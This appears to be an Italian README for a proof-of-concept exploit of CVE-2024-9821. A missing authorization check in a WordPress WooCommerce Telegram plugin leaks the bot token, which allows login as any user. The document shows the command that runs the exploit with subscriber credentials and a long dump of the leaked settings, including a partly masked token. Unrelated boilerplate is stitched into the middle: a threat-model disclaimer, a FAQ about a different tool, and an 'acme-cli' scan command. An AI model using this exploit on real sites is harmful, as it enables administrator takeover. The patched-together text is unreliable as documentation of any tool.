CVE-2024-9821
Bot for Telegram on WooCommerce <= 1.2.4 - Divulgazione del Token del Bot Telegram (Autenticato, Subscriber+) fino al Bypass dell'Autenticazione
Descrizione
Il plugin Bot for Telegram on WooCommerce per WordPress è vulnerabile alla divulgazione di informazioni sensibili a causa della mancanza di controlli di autorizzazione sull'azione AJAX 'stm_wpcfto_get_settings' in tutte le versioni fino alla 1.2.4 inclusa. Ciò consente ad attaccanti autenticati, con accesso di livello subscriber e superiore, di visualizzare il Token del Bot Telegram, un token segreto utilizzato per controllare il bot, che può poi essere usato per accedere come qualsiasi utente esistente sul sito, come un amministratore, se ne conoscono il nome utente, grazie alla funzionalità Login con Telegram.```
Type: plugin
CVSS Score: 8.8
CVE: CVE-2024-9821
POC
---```
python3 CVE-2024-9821.py -u http://kubernetes.docker.internal -un user -p user
I modelli di minaccia sono dinamici e specifici per il contesto; la stessa superficie di attacco e funzionalità possono essere considerate a basso rischio in un contesto e ad alto rischio in un altro. L'obiettivo di questa sezione è quello di fornire una base di partenza per la valutazione del rischio, non una bustina preconfezionata di soluzioni. Il tuo modello di minaccia è la tua responsabilità.
Documentazione
L'ultima documentazione è disponibile su readthedocs.
Roadmap
Domande frequenti
D: Lo strumento è compatibile con Python 3.12?
R: Sì, a partire dalla versione 2.4.0. Le versioni precedenti richiedono Python 3.9 o superiore.
D: Posso utilizzare questo strumento nei miei progetti commerciali?
R: Sì, lo strumento è rilasciato sotto licenza MIT. Consulta il file LICENZA per i termini completi.
D: Come posso contribuire allo sviluppo?
R: Siamo felici di accogliere contributi! Consulta la nostra guida per i contributori per iniziare.
D: Lo strumento supporta l'autenticazione proxy?
R: Sì, tramite le variabili d'ambiente standard HTTP_PROXY e HTTPS_PROXY.
D: Qual è la differenza tra le modalità scan e enumerate?
R: La modalità scan esegue un controllo approfondito delle vulnerabilità note, mentre enumerate raccoglie informazioni dagli endpoint scoperti. Nella maggior parte dei casi la modalità scan è sufficiente, ma enumerate può essere utile per la ricognizione.
$ acme-cli scan --target example.com --verbose
Ringraziamenti
Un ringraziamento speciale a tutti i contributori e alla community che ha fornito feedback e segnalazioni di bug. Questo progetto non sarebbe possibile senza di voi.
Riferimenti
Acme CLI — Sicurezza informatica resa semplice
```
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
{ 'bot_settings': { 'fields': { 'bftow_bot_api': { 'label': 'Telegram '
'Bot Token',
'type': 'text',
'value': '8164783304:Axxxxxxxxxxxxxxxxxxxxxxxxxx'},
'bftow_bot_name': { 'description': 'Set '
'if '
'you '
'want '
'user '
'to '
'get '
'back '
'to '
'Telegram '
'after '
'successful '
'checkout. '
'(Without '
'"@")',
'label': 'Telegram '
'Bot Name',
'type': 'text',
'value': 'Superbotman'},
'bftow_buttons': { 'description': 'Save '
'BOT '
'Token '
'first',
'label': 'Activate '
'API URL',
'type': 'bftow_webhook_activation',
'value': ''},
'bftow_google_maps_api_key': { 'description': '
Provide '
'Google '
'Maps '
'API '
'key '
'with '
'enabled '
'geocoding '
'API '
'and '
'configured '
'billing '
'account. '
'If '
'you '
'leave '
'this '
'field '
'empty, '
'the '
'location '
'will '
'be '
'taken '
'via '
'openstreetmap',
'label': 'Google '
'Maps '
'API '
'key',
'pro': True,
'type': 'text',
'value': ''},
'bftow_proxy_server': { 'label': 'Proxy '
'server',
'type': 'text',
'value': 'https://api.telegram.org/bot'}},
'name': 'BOT API Settings'},
'interface_settings': { 'fields': { 'bftow_cart_on_site': { 'description': 'if '
'enabled '
'and '
'the '
'checkout '
'occurs '
'on '
'the '
'site, '
'when '
'clicking '
'on '
'"checkout" '
'button '
'the '
'user '
'will '
'be '
'redirected '
'to '
'the '
'cart '
'page',
'label': 'Cart '
'page '
'instead '
'checkout '
'page',
'type': 'checkbox',
'value': ''},
'bftow_category_per_row': { 'label': 'Categories '
'per '
'row',
'options': { '1': 1,
'2': 2,
'3': 3},
'type': 'select',
'value': 2},
'bftow_disable_quantity_input': { 'label': 'Disable '
'quantity '
'input',
'type': 'checkbox',
'value': ''},
'bftow_disable_site_checkout': { 'description': 'Disable '
'checkout '
'on '
'the '
'site, '
'the '
'order '
'will '
'be '
'created '
'automatically, '
'and '
'the '
'administrator '
'will '
'receive '
'a '
'notification '
'about '
'it',
'label': 'Disable '
'checkout',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_enable_fast_checkout': { 'label': 'Enable '
'fast '
'checkout',
'type': 'checkbox',
'value': ''},
'bftow_enable_search': { 'label': 'Enable '
'Search',
'pro': True,
'type': 'checkbox',
'value': 'Enable '
'Search'},
'bftow_hide_account_button': { 'label': 'Hide '
'my '
'account '
'button',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_hide_cart_button': { 'label': 'Hide '
'cart '
'button',
'type': 'checkbox',
'value': ''},
'bftow_hide_shop_button': { 'label': 'Hide '
'shop '
'button',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_hierarchy_categories': { 'description': 'When '
'you '
'select '
'a '
'category, '
'the '
'child '
'categories '
'will '
'be '
'displayed',
'label': 'Show '
'categories '
'in '
'hierarchy',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_product_category_buttons': { 'fields': { 'category_row': { 'fields': { 'category': { 'label': 'Select '
'category',
'options': { 'albums;Albums': 'Albums',
'all;All products': 'All '
'products',
'clothing;Clothing': 'Clothing',
'hoodies;Hoodies': 'Hoodies',
'music;Music': 'Music',
'posters;Posters': 'Posters',
'singles;Singles': 'Singles',
't-shirts;T-shirts': 'T-shirts'},
'type': 'select'}},
'label': 'Category',
'type': 'repeater'}},
'label': 'Category '
'row',
'pro': True,
'type': 'repeater',
'value': ''},
'bftow_request_location': { 'label': 'Request '
'location',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_request_location_every_order': { 'label': 'Request '
'a '
'location '
'for '
'every '
'order',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_request_phone_number': { 'label': 'Request '
'phone '
'number',
'type': 'checkbox',
'value': ''},
'bftow_show_checkout_button': { 'label': 'Show '
'checkout '
'button',
'type': 'checkbox',
'value': ''},
'bftow_show_excerpt': { 'label': 'Show '
'product '
'short '
'description',
'type': 'checkbox',
'value': ''},
'bftow_show_only_parent_categories': { 'label': 'Show '
'only '
'parent '
'categories',
'type': 'checkbox',
'value': ''},
'bftow_show_out_of_stock': { 'label': 'Show '
'out '
'of '
'stock '
'products',
'pro': True,
'type': 'checkbox',
'value': ''},
'bftow_show_sku': { 'label': 'Show '
'SKU',
'type': 'checkbox',
'value': ''},
'bftow_user_created_notification': { 'label': 'Notify '
'when '
'user '
'is '
'created',
'pro': True,
'type': 'checkbox',
'value': True}},
'name': 'Interface'},
'keyboard': { 'fields': { 'keyboard': { 'fields': { 'button_text': { 'label': 'Button '
'text',
'type': 'text'},
'command': { 'description': 'Optional. '
'Enter '
'telegram '
'command. '
'e.g. '
'/faq',
'label': 'Command',
'type': 'text'},
'message_image': { 'label': 'Message '
'Image',
'type': 'image'},
'message_text': { 'label': 'Message',
'type': 'editor'},
'web_app_url': { 'label': 'Web '
'App '
'URL',
'type': 'text'}},
'label': 'Custom Button',
'pro': True,
'type': 'repeater',
'value': ''}},
'name': 'Keyboard'},
'messages_settings': { 'fields': { 'bftow_account_button_text': { 'label': 'My '
'account '
'button '
'text',
'pro': True,
'type': 'text',
'value': 'My '
'account'},
'bftow_account_message': { 'label': 'My '
'account '
'message',
'pro': True,
'type': 'text',
'value': 'My '
'account:'},
'bftow_add_to_cart_btn_title': { 'label': 'Add '
'to '
'cart '
'button '
'text',
'type': 'text',
'value': 'Add '
'to '
'Cart'},
'bftow_added_to_cart': { 'label': 'Added '
'to '
'cart '
'text',
'type': 'text',
'value': 'added '
'to '
'cart'},
'bftow_all_product': { 'label': 'All '
'products '
'text',
'type': 'text',
'value': 'All '
'products'},
'bftow_buy_now_btn_text': { 'label': 'Buy '
'Now '
'button '
'text',
'type': 'text',
'value': 'Buy '
'Now'},
'bftow_cart_btn_title': { 'label': 'Title '
'Button '
'Cart',
'type': 'text',
'value': 'Cart'},
'bftow_cart_empty': { 'label': 'Cart '
'empty '
'Message',
'type': 'text',
'value': 'Cart '
'empty'},
'bftow_checkout_btn_title': { 'label': 'Title '
'Button '
'Checkout',
'type': 'text',
'value': 'Checkout'},
'bftow_hello_title': { 'label': 'Hello '
'Message',
'type': 'text',
'value': 'Hello! '
'Welcome '
'to '
'WooCommerce '
'Telegram '
'Store'},
'bftow_info_updated': { 'label': 'Information '
'updated '
'message',
'type': 'text',
'value': 'Information '
'updated'},
'bftow_main_menu_button_text': { 'label': 'Main '
'menu '
'button '
'text',
'pro': True,
'type': 'text',
'value': 'Main '
'menu'},
'bftow_no_orders_found': { 'label': 'No '
'orders '
'found '
'message',
'pro': True,
'type': 'text',
'value': 'No '
'orders '
'found'},
'bftow_not_found_text': { 'label': 'Not '
'found '
'message',
'pro': True,
'type': 'text',
'value': 'Products '
'not '
'found'},
'bftow_orders_button_text': { 'label': 'Order '
'Button '
'text',
'pro': True,
'type': 'text',
'value': 'My '
'orders'},
'bftow_out_of_stock_button': { 'label': 'Out '
'of '
'stock '
'button '
'text',
'type': 'text',
'value': 'Out '
'of '
'stock'},
'bftow_price_text': { 'label': '"Price:" '
'text',
'type': 'text',
'value': 'Price:'},
'bftow_proceed_checkout_btn_title': { 'label': 'Title '
'Button '
'Proceed '
'To '
'Checkout',
'type': 'text',
'value': 'Proceed '
'to '
'Checkout'},
'bftow_prod_not_added': { 'label': 'Product '
'not '
'added '
'text',
'type': 'text',
'value': 'Product '
'not '
'added'},
'bftow_remove_btn_title': { 'label': 'Title '
'Button '
'Remove',
'type': 'text',
'value': 'Remove'},
'bftow_search_button_text': { 'label': 'Search '
'Button '
'Text',
'pro': True,
'type': 'text',
'value': 'Search'},
'bftow_search_result_button_text': { 'label': 'Search '
'result '
'button '
'text',
'pro': True,
'type': 'text',
'value': 'Show '
'results'},
'bftow_select_cat': { 'label': 'Select '
'category '
'text',
'type': 'text',
'value': 'Select '
'category:'},
'bftow_share_number': { 'label': 'Share '
'number '
'Message',
'type': 'text',
'value': 'Share '
'phone '
'number'},
'bftow_shop_btn_title': { 'label': 'Title '
'Button '
'Shop',
'type': 'text',
'value': 'Shop'},
'bftow_sku_text': { 'label': 'SKU '
'Message',
'type': 'text',
'value': 'SKU'},
'bftow_text_after_search': { 'label': 'Message '
'after '
'search '
'button',
'pro': True,
'type': 'text',
'value': 'Enter '
'a '
'search '
'word'},
'bftow_total_text': { 'label': 'Total '
'button '
'text',
'type': 'text',
'value': 'Total:'},
'bftow_update_location_button_text': { 'label': 'Send '
'location '
'button '
'text',
'pro': True,
'type': 'text',
'value': 'Send '
'location'},
'bftow_update_phone_button_text': { 'label': 'Update '
'phone '
'button '
'text',
'pro': True,
'type': 'text',
'value': 'Update '
'phone'},
'bftow_your_cart': { 'label': 'Your '
'cart '
'text',
'type': 'text',
'value': 'Your '
'cart'},
'bftow_your_orders': { 'label': 'Your '
'orders '
'message',
'pro': True,
'type': 'text',
'value': 'Your '
'orders'}},
'name': 'Messages'},
'notification_settings': { 'fields': { 'bftow_notification_channel_id': { 'label': 'Get '
'Private '
'Channel '
'ID '
'for '
'Notifications',
'pro': True,
'type': 'bftow_notification_channel_id',
'value': ''}},
'name': 'Notification Settings'},
'tg_login': { 'fields': { 'enable_tg_login': { 'description': 'Send '
'the '
'/setdomain '
'command '
'to
@Botfather '
'choose '
'your '
'bot, '
'after '
'that '
'send '
'kubernetes.docker.internal',
'label': 'Enable '
'Telegram '
'Login',
'type': 'checkbox',
'value': True},
'login_button_on_woo_checkout': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'description': 'You '
'have '
'to '
'enable '
'"Allow '
'customers '
'to '
'create '
'an '
'account '
'during '
'checkout" '
'option',
'label': 'Add '
'Login '
'button '
'on '
'WooCommerce '
'Checkout '
'Form',
'type': 'checkbox',
'value': ''},
'login_button_on_woo_login': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Add '
'Login '
'button '
'on '
'WooCommerce '
'Login '
'Form',
'type': 'checkbox',
'value': ''},
'login_button_on_woo_register': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Add '
'Login '
'button '
'on '
'WooCommerce '
'Register '
'Form',
'type': 'checkbox',
'value': ''},
'login_button_on_wp_login': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Add '
'Login '
'button '
'on '
'WordPress '
'Login '
'Form',
'type': 'checkbox',
'value': ''},
'login_button_on_wp_register': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Add '
'Login '
'button '
'on '
'WordPress '
'Register '
'Form',
'type': 'checkbox',
'value': ''},
'login_button_size': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Button '
'size',
'options': { 'large': 'Large',
'medium': 'Medium',
'small': 'Small'},
'type': 'radio',
'value': 'large'},
'login_corner_radius': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Corner '
'Radius',
'options': { 'custom': 'Custom',
'default': 'Default'},
'type': 'radio',
'value': 'default'},
'login_custom_corner_radius': { 'dependency': { 'key': 'login_corner_radius',
'value': 'custom'},
'label': 'Corner '
'Radius',
'type': 'number',
'value': '20'},
'login_redirect': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Redirect '
'page after '
'login',
'options': { 'account': 'WooCommerce '
'Account '
'Page',
'current_page': 'Current '
'Page',
'custom': 'Custom '
'URL',
'home_page': 'Home '
'Page'},
'type': 'radio',
'value': 'current_page'},
'login_redirect_url': { 'dependency': { 'key': 'login_redirect',
'value': 'custom'},
'label': 'Redirect '
'URL',
'type': 'text',
'value': 'http://kubernetes.docker.internal'},
'login_show_photo': { 'dependency': { 'key': 'enable_tg_login',
'value': 'empty'},
'dependency_mode': 'disabled',
'label': 'Show User '
'Photo',
'type': 'checkbox',
'value': ''}},
'name': 'Telegram Login Settings'}}
```